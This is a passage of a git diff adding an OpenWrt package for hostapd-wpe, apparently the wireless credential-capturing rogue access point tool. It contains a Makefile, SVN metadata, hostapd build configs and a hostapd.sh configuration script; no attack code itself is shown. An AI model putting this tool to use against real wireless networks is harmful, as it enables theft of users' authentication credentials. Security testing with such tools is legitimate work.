"$(SOURCE)/Config.in" +endef + +define Package/hostapd-wpe + SECTION:=net + CATEGORY:=Network + TITLE:=IEEE 802.1x Authenticator with WPE support + DEPENDS:=+libubus +libnl-tiny +endef + +define Package/hostapd-wpe/description + This package contains a full featured IEEE 802.1x/WPA/EAP/RADIUS Authenticator with WPE patch support. +endef + +define Build/Prepare + mkdir -p $(PKG_BUILD_DIR) + $(CP) -rf ./src/* $(PKG_BUILD_DIR)/ +endef + + +ifneq ($(wildcard $(PKG_BUILD_DIR)/.config_*),$(subst .configured_,.config_,$(STAMP_CONFIGURED))) + define Build/Configure/rebuild + $(FIND) $(PKG_BUILD_DIR) -name \*.o -or -name \*.a | $(XARGS) rm -f + rm -f $(PKG_BUILD_DIR)/hostapd/hostapd + #rm -f $(PKG_BUILD_DIR)/wpa_supplicant/wpa_supplicant + rm -f $(PKG_BUILD_DIR)/.config_* + touch $(subst .configured_,.config_,$(STAMP_CONFIGURED)) + endef +endif + +define Build/Configure + $(Build/Configure/rebuild) + $(if $(wildcard ./files/hostapd-wpe.config), \ + $(CP) ./files/hostapd-wpe.config $(PKG_BUILD_DIR)/hostapd/.config \ + ) +endef + +TARGET_CPPFLAGS := \ + -I$(STAGING_DIR)/usr/include/libnl-tiny \ + -I$(PKG_BUILD_DIR)/src/crypto \ + $(TARGET_CPPFLAGS) \ + -DCONFIG_LIBNL20 \ + -D_GNU_SOURCE \ + $(if $(CONFIG_WPE_MSG_MIN_PRIORITY),-DCONFIG_MSG_MIN_PRIORITY=$(CONFIG_WPE_MSG_MIN_PRIORITY)) + +TARGET_CFLAGS += -ffunction-sections -fdata-sections -flto +TARGET_LDFLAGS += -Wl,--gc-sections -flto=jobserver -fuse-linker-plugin -lubox -lubus -lm -lnl-tiny + +define Build/RunMake + CFLAGS="$(TARGET_CPPFLAGS) $(TARGET_CFLAGS)" \ + $(MAKE) $(PKG_JOBS) -C $(PKG_BUILD_DIR)/$(1) \ + CC="$(TARGET_CC)" \ + $(TARGET_CONFIGURE_OPTS) \ + $(DRIVER_MAKEOPTS) \ + LIBS="$(TARGET_LDFLAGS)" \ + LIBS_c="$(TARGET_LDFLAGS_C)" \ + AR="$(TARGET_CROSS)gcc-ar" \ + BCHECK= \ + $(2) +endef + +define Build/Compile/hostapd + $(call Build/RunMake,hostapd, \ + hostapd-wpe hostapd-wpe_cli \ + ) +endef + +define Build/Compile + echo "Compiling $(PKG_NAME)-$(PKG_VERSION)" + $(Build/Compile/hostapd) + $(Build/Compile/full) +endef + +config_files=hostapd-wpe-bgn.conf hostapd-wpe-an.conf hostapd-wpe.eap_user +cert_config_files=ca.der ca.key ca.pem dh server.key server.pem server_no_pass.key + +define Install/hostapd-wpe + $(INSTALL_DIR) $(1)/usr/sbin + $(INSTALL_DIR) $(1)/etc/hostapd-wpe + $(INSTALL_DIR) $(1)/etc/hostapd-wpe/certs +endef + +define Package/hostapd-wpe/install + $(call Install/hostapd-wpe,$(1)) + $(INSTALL_BIN) $(PKG_BUILD_DIR)/hostapd/hostapd-wpe $(1)/usr/sbin/ + $(INSTALL_DATA) $(addprefix $(PKG_BUILD_DIR)/hostapd/etc/,$(config_files)) $(1)/etc/hostapd-wpe/ + $(INSTALL_DATA) $(addprefix $(PKG_BUILD_DIR)/hostapd/etc/certs/,$(cert_config_files)) $(1)/etc/hostapd-wpe/certs/ +endef + +$(eval $(call BuildPackage,hostapd-wpe)) diff --git a/hostapd-wpe/files/.svn/entries b/hostapd-wpe/files/.svn/entries new file mode 100644 index 0000000..8619b7e --- /dev/null +++ b/hostapd-wpe/files/.svn/entries @@ -0,0 +1,368 @@ +10 + +dir +45148 +svn://svn.openwrt.org/openwrt/branches/barrier_breaker/package/network/services/hostapd/files +svn://svn.openwrt.org/openwrt + + + +2014-09-17T11:01:23.015860Z +42591 +blogic + + + + + + + + + + + + + + +3c298f89-4303-0410-b956-a3cf2f4a3e73 + +hostapd-mini.config +file + + + + +2015-03-30T09:08:51.880526Z +6ef3f142a7ef7188f19b3f02497a2f9f +2014-02-03T13:31:44.963383Z +39456 +nbd +has-props + + + + + + + + + + + + + + + + + + + + +4629 + +netifd.sh +file + + + + +2015-03-30T09:08:51.880526Z +c0392bad3ac49d2e20d9b681c97a69d2 +2014-09-17T11:01:23.015860Z +42591 +blogic + + + + + + + + + + + + + + + + + + + + + +15598 + +wpa_supplicant.sh +file + + + + +2015-03-30T09:08:51.880526Z +a674f472cce511cd1a614bb5249c61fc +2013-10-18T11:47:47.703481Z +38451 +jow + + + + + + + + + + + + + + + + + + + + + +4620 + +wps-hotplug.sh +file + + + + +2015-03-30T09:08:51.880526Z +912ca8f0e10bbe5f2fd8b5c179799240 +2013-12-02T13:08:14.623182Z +38986 +nbd + + + + + + + + + + + + + + + + + + + + + +170 + +hostapd-full.config +file + + + + +2015-03-30T09:08:51.880526Z +0f294b37c06b0db139b397e1a7b267d4 +2014-02-03T13:31:44.963383Z +39456 +nbd +has-props + + + + + + + + + + + + + + + + + + + + +4739 + +multicall.c +file + + + + +2015-03-30T09:08:51.880526Z +4696f03d81ab622bddee906614b96d96 +2010-01-23T08:28:26.207535Z +19286 +nbd + + + + + + + + + + + + + + + + + + + + + +613 + +wpa_supplicant-mini.config +file + + + + +2015-03-30T09:08:51.888522Z +2eef912b4b11f4096003408cc5b36ff0 +2013-11-18T13:54:26.815739Z +38852 +nbd +has-props + + + + + + + + + + + + + + + + + + + + +14427 + +hostapd.sh +file + + + + +2015-03-30T09:08:51.888522Z +e4811ad47d61ca71addff954a4996755 +2014-09-15T16:09:36.583395Z +42554 +nbd +has-props + + + + + + + + + + + + + + + + + + + + +11646 + +wpa_supplicant-p2p.config +file + + + + +2015-03-30T09:08:51.888522Z +c1f62b99f3be9aabd6704ecebde2c174 +2013-11-18T13:54:26.815739Z +38852 +nbd + + + + + + + + + + + + + + + + + + + + + +14444 + +wpa_supplicant-full.config +file + + + + +2015-03-30T09:08:51.888522Z +7072aa6845a33188a994ac18fdca00d5 +2013-11-18T13:54:26.815739Z +38852 +nbd + + + + + + + + + + + + + + + + + + + + + +14418 + diff --git a/hostapd-wpe/files/.svn/prop-base/hostapd-full.config.svn-base b/hostapd-wpe/files/.svn/prop-base/hostapd-full.config.svn-base new file mode 100644 index 0000000..bdbd305 --- /dev/null +++ b/hostapd-wpe/files/.svn/prop-base/hostapd-full.config.svn-base @@ -0,0 +1,5 @@ +K 13 +svn:eol-style +V 6 +native +END diff --git a/hostapd-wpe/files/.svn/prop-base/hostapd-mini.config.svn-base b/hostapd-wpe/files/.svn/prop-base/hostapd-mini.config.svn-base new file mode 100644 index 0000000..bdbd305 --- /dev/null +++ b/hostapd-wpe/files/.svn/prop-base/hostapd-mini.config.svn-base @@ -0,0 +1,5 @@ +K 13 +svn:eol-style +V 6 +native +END diff --git a/hostapd-wpe/files/.svn/prop-base/hostapd.sh.svn-base b/hostapd-wpe/files/.svn/prop-base/hostapd.sh.svn-base new file mode 100644 index 0000000..bdbd305 --- /dev/null +++ b/hostapd-wpe/files/.svn/prop-base/hostapd.sh.svn-base @@ -0,0 +1,5 @@ +K 13 +svn:eol-style +V 6 +native +END diff --git a/hostapd-wpe/files/.svn/prop-base/wpa_supplicant-mini.config.svn-base b/hostapd-wpe/files/.svn/prop-base/wpa_supplicant-mini.config.svn-base new file mode 100644 index 0000000..3160658 --- /dev/null +++ b/hostapd-wpe/files/.svn/prop-base/wpa_supplicant-mini.config.svn-base @@ -0,0 +1,5 @@ +K 13 +svn:mergeinfo +V 0 + +END diff --git a/hostapd-wpe/files/.svn/text-base/hostapd-full.config.svn-base b/hostapd-wpe/files/.svn/text-base/hostapd-full.config.svn-base new file mode 100644 index 0000000..e021cd0 --- /dev/null +++ b/hostapd-wpe/files/.svn/text-base/hostapd-full.config.svn-base @@ -0,0 +1,172 @@ +# Example hostapd build time configuration +# +# This file lists the configuration options that are used when building the +# hostapd binary. All lines starting with # are ignored. Configuration option +# lines must be commented out complete, if they are not to be included, i.e., +# just setting VARIABLE=n is not disabling that variable. +# +# This file is included in Makefile, so variables like CFLAGS and LIBS can also +# be modified from here. In most cass, these lines should use += in order not +# to override previous values of the variables. + +# Driver interface for Host AP driver +CONFIG_DRIVER_HOSTAP=y + +# Driver interface for wired authenticator +CONFIG_DRIVER_WIRED=y + +# Driver interface for madwifi driver +CONFIG_DRIVER_MADWIFI=y +#CFLAGS += -I../../madwifi # change to the madwifi source directory + +# Driver interface for Prism54 driver +#CONFIG_DRIVER_PRISM54=y + +# Driver interface for drivers using the nl80211 kernel interface +CONFIG_DRIVER_NL80211=y +# driver_nl80211.c requires a rather new libnl (version 1.1) which may not be +# shipped with your distribution yet. If that is the case, you need to build +# newer libnl version and point the hostapd build to use it. +#LIBNL=/usr/src/libnl +#CFLAGS += -I$(LIBNL)/include +#LIBS += -L$(LIBNL)/lib + +# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver) +#CONFIG_DRIVER_BSD=y +#CFLAGS += -I/usr/local/include +#LIBS += -L/usr/local/lib + +# Driver interface for no driver (e.g., RADIUS server only) +#CONFIG_DRIVER_NONE=y + +# IEEE 802.11F/IAPP +CONFIG_IAPP=y + +# WPA2/IEEE 802.11i RSN pre-authentication +CONFIG_RSN_PREAUTH=y + +# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS) +CONFIG_PEERKEY=y + +# IEEE 802.11w (management frame protection) +# This version is an experimental implementation based on IEEE 802.11w/D1.0 +# draft and is subject to change since the standard has not yet been finalized. +# Driver support is also needed for IEEE 802.11w. +#CONFIG_IEEE80211W=y + +# Integrated EAP server +CONFIG_EAP=y + +# EAP-MD5 for the integrated EAP server +CONFIG_EAP_MD5=y + +# EAP-TLS for the integrated EAP server +CONFIG_EAP_TLS=y + +# EAP-MSCHAPv2 for the integrated EAP server +CONFIG_EAP_MSCHAPV2=y + +# EAP-PEAP for the integrated EAP server +CONFIG_EAP_PEAP=y + +# EAP-GTC for the integrated EAP server +CONFIG_EAP_GTC=y + +# EAP-TTLS for the integrated EAP server +CONFIG_EAP_TTLS=y + +# EAP-SIM for the integrated EAP server +#CONFIG_EAP_SIM=y + +# EAP-AKA for the integrated EAP server +#CONFIG_EAP_AKA=y + +# EAP-AKA' for the integrated EAP server +# This requires CONFIG_EAP_AKA to be enabled, too. +#CONFIG_EAP_AKA_PRIME=y + +# EAP-PAX for the integrated EAP server +#CONFIG_EAP_PAX=y + +# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK) +#CONFIG_EAP_PSK=y + +# EAP-SAKE for the integrated EAP server +#CONFIG_EAP_SAKE=y + +# EAP-GPSK for the integrated EAP server +#CONFIG_EAP_GPSK=y +# Include support for optional SHA256 cipher suite in EAP-GPSK +#CONFIG_EAP_GPSK_SHA256=y + +# EAP-FAST for the integrated EAP server +# Note: Default OpenSSL package does not include support for all the +# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL, +# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch) +# to add the needed functions. +#CONFIG_EAP_FAST=y + +# Wi-Fi Protected Setup (WPS) +CONFIG_WPS=y +CONFIG_WPS2=y +# Enable UPnP support for external WPS Registrars +#CONFIG_WPS_UPNP=y + +# EAP-IKEv2 +#CONFIG_EAP_IKEV2=y + +# Trusted Network Connect (EAP-TNC) +#CONFIG_EAP_TNC=y + +# PKCS#12 (PFX) support (used to read private key and certificate file from +# a file that usually has extension .p12 or .pfx) +CONFIG_PKCS12=y + +# RADIUS authentication server. This provides access to the integrated EAP +# server from external hosts using RADIUS. +#CONFIG_RADIUS_SERVER=y + +# Build IPv6 support for RADIUS operations +CONFIG_IPV6=y + +# IEEE Std 802.11r-2008 (Fast BSS Transition) +CONFIG_IEEE80211R=y + +# Use the hostapd's IEEE 802.11 authentication (ACL), but without +# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211) +#CONFIG_DRIVER_RADIUS_ACL=y + +# IEEE 802.11n (High Throughput) support +CONFIG_IEEE80211N=y + +# IEEE 802.11ac (Very High Throughput) support +CONFIG_IEEE80211AC=y + +# Remove debugging code that is printing out debug messages to stdout. +# This can be used to reduce the size of the hostapd considerably if debugging +# code is not needed. +#CONFIG_NO_STDOUT_DEBUG=y + +# Remove support for RADIUS accounting +#CONFIG_NO_ACCOUNTING=y + +# Remove support for RADIUS +#CONFIG_NO_RADIUS=y + +# Remove support for VLANs +#CONFIG_NO_VLAN=y + +CONFIG_TLS=internal +CONFIG_INTERNAL_LIBTOMMATH=y +CONFIG_INTERNAL_AES=y +NEED_AES_DEC=y + +CONFIG_NO_RANDOM_POOL=y +CONFIG_NO_DUMP_STATE=y + +CONFIG_WPS=y +CONFIG_FULL_DYNAMIC_VLAN=y + +CONFIG_ACS=y + +CONFIG_UBUS=y diff --git a/hostapd-wpe/files/.svn/text-base/hostapd-mini.config.svn-base b/hostapd-wpe/files/.svn/text-base/hostapd-mini.config.svn-base new file mode 100644 index 0000000..8a3e616 --- /dev/null +++ b/hostapd-wpe/files/.svn/text-base/hostapd-mini.config.svn-base @@ -0,0 +1,165 @@ +# Example hostapd build time configuration +# +# This file lists the configuration options that are used when building the +# hostapd binary. All lines starting with # are ignored. Configuration option +# lines must be commented out complete, if they are not to be included, i.e., +# just setting VARIABLE=n is not disabling that variable. +# +# This file is included in Makefile, so variables like CFLAGS and LIBS can also +# be modified from here. In most cass, these lines should use += in order not +# to override previous values of the variables. + +# Driver interface for Host AP driver +CONFIG_DRIVER_HOSTAP=y + +# Driver interface for wired authenticator +CONFIG_DRIVER_WIRED=y + +# Driver interface for madwifi driver +CONFIG_DRIVER_MADWIFI=y +#CFLAGS += -I../../madwifi # change to the madwifi source directory + +# Driver interface for Prism54 driver +#CONFIG_DRIVER_PRISM54=y + +# Driver interface for drivers using the nl80211 kernel interface +CONFIG_DRIVER_NL80211=y +# driver_nl80211.c requires a rather new libnl (version 1.1) which may not be +# shipped with your distribution yet. If that is the case, you need to build +# newer libnl version and point the hostapd build to use it. +#LIBNL=/usr/src/libnl +#CFLAGS += -I$(LIBNL)/include +#LIBS += -L$(LIBNL)/lib + +# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver) +#CONFIG_DRIVER_BSD=y +#CFLAGS += -I/usr/local/include +#LIBS += -L/usr/local/lib + +# Driver interface for no driver (e.g., RADIUS server only) +#CONFIG_DRIVER_NONE=y + +# IEEE 802.11F/IAPP +# CONFIG_IAPP=y + +# WPA2/IEEE 802.11i RSN pre-authentication +CONFIG_RSN_PREAUTH=y + +# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS) +CONFIG_PEERKEY=y + +# IEEE 802.11w (management frame protection) +# This version is an experimental implementation based on IEEE 802.11w/D1.0 +# draft and is subject to change since the standard has not yet been finalized. +# Driver support is also needed for IEEE 802.11w. +#CONFIG_IEEE80211W=y + +# Integrated EAP server +#CONFIG_EAP=y + +# EAP-MD5 for the integrated EAP server +#CONFIG_EAP_MD5=y + +# EAP-TLS for the integrated EAP server +#CONFIG_EAP_TLS=y + +# EAP-MSCHAPv2 for the integrated EAP server +#CONFIG_EAP_MSCHAPV2=y + +# EAP-PEAP for the integrated EAP server +#CONFIG_EAP_PEAP=y + +# EAP-GTC for the integrated EAP server +#CONFIG_EAP_GTC=y + +# EAP-TTLS for the integrated EAP server +#CONFIG_EAP_TTLS=y + +# EAP-SIM for the integrated EAP server +#CONFIG_EAP_SIM=y + +# EAP-AKA for the integrated EAP server +#CONFIG_EAP_AKA=y + +# EAP-AKA' for the integrated EAP server +# This requires CONFIG_EAP_AKA to be enabled, too. +#CONFIG_EAP_AKA_PRIME=y + +# EAP-PAX for the integrated EAP server +#CONFIG_EAP_PAX=y + +# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK) +#CONFIG_EAP_PSK=y + +# EAP-SAKE for the integrated EAP server +#CONFIG_EAP_SAKE=y + +# EAP-GPSK for the integrated EAP server +#CONFIG_EAP_GPSK=y +# Include support for optional SHA256 cipher suite in EAP-GPSK +#CONFIG_EAP_GPSK_SHA256=y + +# EAP-FAST for the integrated EAP server +# Note: Default OpenSSL package does not include support for all the +# functionality needed for EAP-FAST. If EAP-FAST is enabled with OpenSSL, +# the OpenSSL library must be patched (openssl-0.9.9-session-ticket.patch) +# to add the needed functions. +#CONFIG_EAP_FAST=y + +# Wi-Fi Protected Setup (WPS) +#CONFIG_WPS=y +# Enable UPnP support for external WPS Registrars +#CONFIG_WPS_UPNP=y + +# EAP-IKEv2 +#CONFIG_EAP_IKEV2=y + +# Trusted Network Connect (EAP-TNC) +#CONFIG_EAP_TNC=y + +# PKCS#12 (PFX) support (used to read private key and certificate file from +# a file that usually has extension .p12 or .pfx) +#CONFIG_PKCS12=y + +# RADIUS authentication server. This provides access to the integrated EAP +# server from external hosts using RADIUS. +#CONFIG_RADIUS_SERVER=y + +# Build IPv6 support for RADIUS operations +#CONFIG_IPV6=y + +# IEEE Std 802.11r-2008 (Fast BSS Transition) +CONFIG_IEEE80211R=y + +# Use the hostapd's IEEE 802.11 authentication (ACL), but without +# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211) +#CONFIG_DRIVER_RADIUS_ACL=y + +# IEEE 802.11n (High Throughput) support +CONFIG_IEEE80211N=y + +# IEEE 802.11ac (Very High Throughput) support +CONFIG_IEEE80211AC=y + +# Remove debugging code that is printing out debug messages to stdout. +# This can be used to reduce the size of the hostapd considerably if debugging +# code is not needed. +#CONFIG_NO_STDOUT_DEBUG=y + +# Remove support for RADIUS accounting +CONFIG_NO_ACCOUNTING=y + +# Remove support for RADIUS +#CONFIG_NO_RADIUS=y + +# Remove support for VLANs +#CONFIG_NO_VLAN=y + +CONFIG_TLS=internal + +CONFIG_NO_RANDOM_POOL=y +CONFIG_NO_DUMP_STATE=y + +CONFIG_ACS=y + +CONFIG_UBUS=y diff --git a/hostapd-wpe/files/.svn/text-base/hostapd.sh.svn-base b/hostapd-wpe/files/.svn/text-base/hostapd.sh.svn-base new file mode 100644 index 0000000..b8ba7bd --- /dev/null +++ b/hostapd-wpe/files/.svn/text-base/hostapd.sh.svn-base @@ -0,0 +1,359 @@ +hostapd_set_bss_options() { + local var="$1" + local vif="$2" + local enc wep_rekey wpa_group_rekey wpa_pair_rekey wpa_master_rekey wps_possible + + config_get enc "$vif" encryption "none" + config_get wep_rekey "$vif" wep_rekey # 300 + config_get wpa_group_rekey "$vif" wpa_group_rekey # 300 + config_get wpa_pair_rekey "$vif" wpa_pair_rekey # 300 + config_get wpa_master_rekey "$vif" wpa_master_rekey # 640 + config_get_bool ap_isolate "$vif" isolate 0 + config_get_bool disassoc_low_ack "$vif" disassoc_low_ack 1 + config_get max_num_sta "$vif" max_num_sta 0 + config_get max_inactivity "$vif" max_inactivity 0 + config_get_bool preamble "$vif" short_preamble 1 + + config_get device "$vif" device + config_get hwmode "$device" hwmode + config_get phy "$device" phy + + append "$var" "ctrl_interface=/var/run/hostapd-$phy" "$N" + + if [ "$ap_isolate" -gt 0 ]; then + append "$var" "ap_isolate=$ap_isolate" "$N" + fi + if [ "$max_num_sta" -gt 0 ]; then + append "$var" "max_num_sta=$max_num_sta" "$N" + fi + if [ "$max_inactivity" -gt 0 ]; then + append "$var" "ap_max_inactivity=$max_inactivity" "$N" + fi + append "$var" "disassoc_low_ack=$disassoc_low_ack" "$N" + if [ "$preamble" -gt 0 ]; then + append "$var" "preamble=$preamble" "$N" + fi + + # Examples: + # psk-mixed/tkip => WPA1+2 PSK, TKIP + # wpa-psk2/tkip+aes => WPA2 PSK, CCMP+TKIP + # wpa2/tkip+aes => WPA2 RADIUS, CCMP+TKIP + # ... + + # TODO: move this parsing function somewhere generic, so that + # later it can be reused by drivers that don't use hostapd + + # crypto defaults: WPA2 vs WPA1 + case "$enc" in + wpa2*|*psk2*) + wpa=2 + crypto="CCMP" + ;; + *mixed*) + wpa=3 + crypto="CCMP TKIP" + ;; + *) + wpa=1 + crypto="TKIP" + ;; + esac + + # explicit override for crypto setting + case "$enc" in + *tkip+aes|*tkip+ccmp|*aes+tkip|*ccmp+tkip) crypto="CCMP TKIP";; + *aes|*ccmp) crypto="CCMP";; + *tkip) crypto="TKIP";; + esac + + # enforce CCMP for 11ng and 11na + case "$hwmode:$crypto" in + *ng:TKIP|*na:TKIP) crypto="CCMP TKIP";; + esac + + # use crypto/auth settings for building the hostapd config + case "$enc" in + none) + wps_possible=1 + wpa=0 + crypto= + # Here we make the assumption that if we're in open mode + # with WPS enabled, we got to be in unconfigured state. + wps_not_configured=1 + ;; + *psk*) + config_get psk "$vif" key + if [ ${#psk} -eq 64 ]; then + append "$var" "wpa_psk=$psk" "$N" + else + append "$var" "wpa_passphrase=$psk" "$N" + fi + wps_possible=1 + [ -n "$wpa_group_rekey" ] && append "$var" "wpa_group_rekey=$wpa_group_rekey" "$N" + [ -n "$wpa_pair_rekey" ] && append "$var" "wpa_ptk_rekey=$wpa_pair_rekey" "$N" + [ -n "$wpa_master_rekey" ] && append "$var" "wpa_gmk_rekey=$wpa_master_rekey" "$N" + ;; + *wpa*|*8021x*) + # required fields? formats? + # hostapd is particular, maybe a default configuration for failures + config_get auth_server "$vif" auth_server + [ -z "$auth_server" ] && config_get auth_server "$vif" server + append "$var" "auth_server_addr=$auth_server" "$N" + config_get auth_port "$vif" auth_port + [ -z "$auth_port" ] && config_get auth_port "$vif" port + auth_port=${auth_port:-1812} + append "$var" "auth_server_port=$auth_port" "$N" + config_get auth_secret "$vif" auth_secret + [ -z "$auth_secret" ] && config_get auth_secret "$vif" key + append "$var" "auth_server_shared_secret=$auth_secret" "$N" + # You don't really want to enable this unless you are doing + # some corner case testing or are using OpenWrt as a work around + # for some systematic issues. + config_get_bool auth_cache "$vif" auth_cache 0 + config_get rsn_preauth "$vif" rsn_preauth + [ "$auth_cache" -gt 0 ] || [[ "$rsn_preauth" = 1 ]] || append "$var" "disable_pmksa_caching=1" "$N" + [ "$auth_cache" -gt 0 ] || [[ "$rsn_preauth" = 1 ]] || append "$var" "okc=0" "$N" + config_get acct_server "$vif" acct_server + [ -n "$acct_server" ] && append "$var" "acct_server_addr=$acct_server" "$N" + config_get acct_port "$vif" acct_port + [ -n "$acct_port" ] && acct_port=${acct_port:-1813} + [ -n "$acct_port" ] && append "$var" "acct_server_port=$acct_port" "$N" + config_get acct_secret "$vif" acct_secret + [ -n "$acct_secret" ] && append "$var" "acct_server_shared_secret=$acct_secret" "$N" + config_get eap_reauth_period "$vif" eap_reauth_period + [ -n "$eap_reauth_period" ] && append "$var" "eap_reauth_period=$eap_reauth_period" "$N" + config_get dae_client "$vif" dae_client + config_get dae_secret "$vif" dae_secret + [ -n "$dae_client" -a -n "$dae_secret" ] && { + config_get dae_port "$vif" dae_port + append "$var" "radius_das_port=${dae_port:-3799}" "$N" + append "$var" "radius_das_client=$dae_client $dae_secret" "$N" + } + config_get nasid "$vif" nasid + config_get ownip "$vif" ownip + append "$var" "nas_identifier=$nasid" "$N" + append "$var" "own_ip_addr=$ownip" "$N" + append "$var" "eapol_key_index_workaround=1" "$N" + append "$var" "ieee8021x=1" "$N" + append "$var" "wpa_key_mgmt=WPA-EAP" "$N" + [ -n "$wpa_group_rekey" ] && append "$var" "wpa_group_rekey=$wpa_group_rekey" "$N" + [ -n "$wpa_pair_rekey" ] && append "$var" "wpa_ptk_rekey=$wpa_pair_rekey" "$N" + [ -n "$wpa_master_rekey" ] && append "$var" "wpa_gmk_rekey=$wpa_master_rekey" "$N" + ;; + *wep*) + config_get key "$vif" key + key="${key:-1}" + case "$key" in + [1234]) + for idx in 1 2 3 4; do + local zidx + zidx=$(($idx - 1)) + config_get ckey "$vif" "key${idx}" + [ -n "$ckey" ] && \ + append "$var" "wep_key${zidx}=$(prepare_key_wep "$ckey")" "$N" + done + append "$var" "wep_default_key=$((key - 1))" "$N" + ;; + *) + append "$var" "wep_key0=$(prepare_key_wep "$key")" "$N" + append "$var" "wep_default_key=0" "$N" + [ -n "$wep_rekey" ] && append "$var" "wep_rekey_period=$wep_rekey" "$N" + ;; + esac + case "$enc" in + *shared*) + auth_algs=2 + ;; + *mixed*) + auth_algs=3 + ;; + esac + wpa=0 + crypto= + ;; + *) + wpa=0 + crypto= + ;; + esac + append "$var" "auth_algs=${auth_algs:-1}" "$N" + append "$var" "wpa=$wpa" "$N" + [ -n "$crypto" ] && append "$var" "wpa_pairwise=$crypto" "$N" + [ -n "$wpa_group_rekey" ] && append "$var" "wpa_group_rekey=$wpa_group_rekey" "$N" + + config_get ssid "$vif" ssid + config_get bridge "$vif" bridge + config_get ieee80211d "$vif" ieee80211d + config_get iapp_interface "$vif" iapp_interface + + config_get_bool wps_pbc "$vif" wps_pushbutton 0 + config_get_bool wps_label "$vif" wps_label 0 + + config_get config_methods "$vif" wps_config + [ "$wps_pbc" -gt 0 ] && append config_methods push_button + + [ -n "$wps_possible" -a -n "$config_methods" ] && { + config_get device_type "$vif" wps_device_type "6-0050F204-1" + config_get device_name "$vif" wps_device_name "OpenWrt AP" + config_get manufacturer "$vif" wps_manufacturer "openwrt.org" + config_get wps_pin "$vif" wps_pin + + config_get_bool ext_registrar "$vif" ext_registrar 0 + [ "$ext_registrar" -gt 0 -a -n "$bridge" ] && append "$var" "upnp_iface=$bridge" "$N" + + append "$var" "eap_server=1" "$N" + [ -n "$wps_pin" ] && append "$var" "ap_pin=$wps_pin" "$N" + append "$var" "wps_state=${wps_not_configured:-2}" "$N" + append "$var" "ap_setup_locked=0" "$N" + append "$var" "device_type=$device_type" "$N" + append "$var" "device_name=$device_name" "$N" + append "$var" "manufacturer=$manufacturer" "$N" + append "$var" "config_methods=$config_methods" "$N" + } + + append "$var" "ssid=$ssid" "$N" + [ -n "$bridge" ] && append "$var" "bridge=$bridge" "$N" + [ -n "$ieee80211d" ] && append "$var" "ieee80211d=$ieee80211d" "$N" + [ -n "$iapp_interface" ] && append "$var" iapp_interface=$(uci_get_state network "$iapp_interface" ifname "$iapp_interface") "$N" + + if [ "$wpa" -ge "2" ] + then + # RSN -> allow preauthentication. You have two + # options, rsn_preauth for production or rsn_preauth_testing + # for validation / testing. + if [ -n "$bridge" -a "$rsn_preauth" = 1 ] + then + append "$var" "rsn_preauth=1" "$N" + append "$var" "rsn_preauth_interfaces=$bridge" "$N" + append "$var" "okc=1" "$N" + else + # RSN preauthentication testings hould disable + # Opportunistic Key Caching (okc) as otherwise the PMKSA + # entry for a test could come from the Opportunistic Key Caching + config_get rsn_preauth_testing "$vif" rsn_preauth_testing + if [ -n "$bridge" -a "$rsn_preauth_testing" = 1 ] + then + append "$var" "rsn_preauth=1" "$N" + append "$var" "rsn_preauth_interfaces=$bridge" "$N" + append "$var" "okc=0" "$N" + fi + fi + + # RSN -> allow management frame protection + config_get ieee80211w "$vif" ieee80211w + case "$ieee80211w" in + [012]) + append "$var" "ieee80211w=$ieee80211w" "$N" + [ "$ieee80211w" -gt "0" ] && { + config_get ieee80211w_max_timeout "$vif" ieee80211w_max_timeout + config_get ieee80211w_retry_timeout "$vif" ieee80211w_retry_timeout + [ -n "$ieee80211w_max_timeout" ] && \ + append "$var" "assoc_sa_query_max_timeout=$ieee80211w_max_timeout" "$N" + [ -n "$ieee80211w_retry_timeout" ] && \ + append "$var" "assoc_sa_query_retry_timeout=$ieee80211w_retry_timeout" "$N" + } + ;; + esac + fi + + config_get macfile "$vif" macfile + config_get maclist "$vif" maclist + if [ -z "$macfile" ] + then + # if no macfile has been specified, fallback to the default name + # and truncate file to avoid aggregating entries over time + macfile="/var/run/hostapd-$ifname.maclist" + echo "" > "$macfile" + else + if [ -n "$maclist" ] + then + # to avoid to overwrite the original file, make a copy + # before appending the entries specified by the maclist + # option + cp $macfile $macfile.maclist + macfile=$macfile.maclist + fi + fi + + if [ -n "$maclist" ] + then + for mac in $maclist; do + echo "$mac" >> $macfile + done + fi + + config_get macfilter "$vif" macfilter + case "$macfilter" in + allow) + append "$var" "macaddr_acl=1" "$N" + append "$var" "accept_mac_file=$macfile" "$N" + ;; + deny) + append "$var" "macaddr_acl=0" "$N" + append "$var" "deny_mac_file=$macfile" "$N" + ;; + esac +} + +hostapd_set_log_options() { + local var="$1" + local cfg="$2" + local log_level log_80211 log_8021x log_radius log_wpa log_driver log_iapp log_mlme + + config_get log_level "$cfg" log_level 2 + + config_get_bool log_80211 "$cfg" log_80211 1 + config_get_bool log_8021x "$cfg" log_8021x 1 + config_get_bool log_radius "$cfg" log_radius 1 + config_get_bool log_wpa "$cfg" log_wpa 1 + config_get_bool log_driver "$cfg" log_driver 1 + config_get_bool log_iapp "$cfg" log_iapp 1 + config_get_bool log_mlme "$cfg" log_mlme 1 + + local log_mask=$(( \ + ($log_80211 << 0) | \ + ($log_8021x << 1) | \ + ($log_radius << 2) | \ + ($log_wpa << 3) | \ + ($log_driver << 4) | \ + ($log_iapp << 5) | \ + ($log_mlme << 6) \ + )) + + append "$var" "logger_syslog=$log_mask" "$N" + append "$var" "logger_syslog_level=$log_level" "$N" + append "$var" "logger_stdout=$log_mask" "$N" + append "$var" "logger_stdout_level=$log_level" "$N" +} + +hostapd_setup_vif() { + local vif="$1" + local driver="$2" + local ifname device channel hwmode + + hostapd_cfg= + + config_get ifname "$vif" ifname + config_get device "$vif" device + config_get channel "$device" channel + config_get hwmode "$device" hwmode + + hostapd_set_log_options hostapd_cfg "$device" + hostapd_set_bss_options hostapd_cfg "$vif" + + case "$hwmode" in + *bg|*gdt|*gst|*fh) hwmode=g;; + *adt|*ast) hwmode=a;; + esac + [ "$channel" = auto ] && channel= + [ -n "$channel" -a -z "$hwmode" ] && wifi_fixup_hwmode "$device" + cat > /var/run/hostapd-$ifname.conf < +#include +#include + +extern int hostapd_main(int argc, char **argv); +extern int 